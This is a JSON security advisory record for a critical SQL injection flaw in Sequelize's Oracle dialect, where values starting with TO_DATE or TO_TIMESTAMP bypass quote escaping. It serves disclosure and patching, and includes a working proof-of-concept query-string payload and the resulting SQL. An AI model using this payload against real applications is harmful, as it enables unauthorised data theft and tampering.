{"id":"GHSA-v8fg-2rw7-q452","summary":"Sequelize: SQL Injection (Oracle DB)","details":"### Summary\nSQL Injection is possible with strings only **if dialect is set to `oracle`**.\nThe vulnerability was confirmed on Sequelize v6.37.3.\n\n### Details\nThe `escape` function defined in `sql-string.js` does not escape quotes if the value starts with `TO_TIMESTAMP` or `TO_DATE`.\n\n```javascript\n  } else if (dialect === 'oracle' && typeof val === 'string') {\n    if (val.startsWith('TO_TIMESTAMP') || val.startsWith('TO_DATE')) {\n      return val;\n    }\n    val = val.replace(/'/g, \"''\");\n  }\n```\n\n### PoC\nSuppose the application has the following code:\n\n```javascript\n  var result = await models.Student.findOne({\n    where: {\n      firstName: req.query.firstName\n    }\n  });\n```\n\nAn attacker can inject arbitrary sql expressions.\n\n`http://host/path?firstName=TO_DATE('0','Y')||'' OR 1=1--`\n\nThe resulted SQL will be:\n\n```SQL\nSELECT ... WHERE \"Student\".\"firstName\" = TO_DATE('0','Y')||'' OR 1=1-- ORDER BY \"Student\".\"id\" OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY;\n```\n\n### Impact\nData theft and tampering.","aliases":["CVE-2026-69240"],"modified":"2026-08-03T20:56:43.986253Z","published":"2026-08-03T20:29:50Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-89"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-08-03T20:29:50Z"},"references":[{"type":"WEB","url":"https://github.com/sequelize/sequelize/security/advisories/GHSA-v8fg-2rw7-q452"},{"type":"WEB","url":"https://github.com/sequelize/sequelize/commit/5deadd2410ae9136a21fb652db206d27bb715f26"},{"type":"PACKAGE","url":"https://github.com/sequelize/sequelize"},{"type":"WEB","url":"https://github.com/sequelize/sequelize/releases/tag/v6.37.4"}],"affected":[{"package":{"name":"sequelize","ecosystem":"npm","purl":"pkg:npm/sequelize"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"6.37.4"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-v8fg-2rw7-q452/GHSA-v8fg-2rw7-q452.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}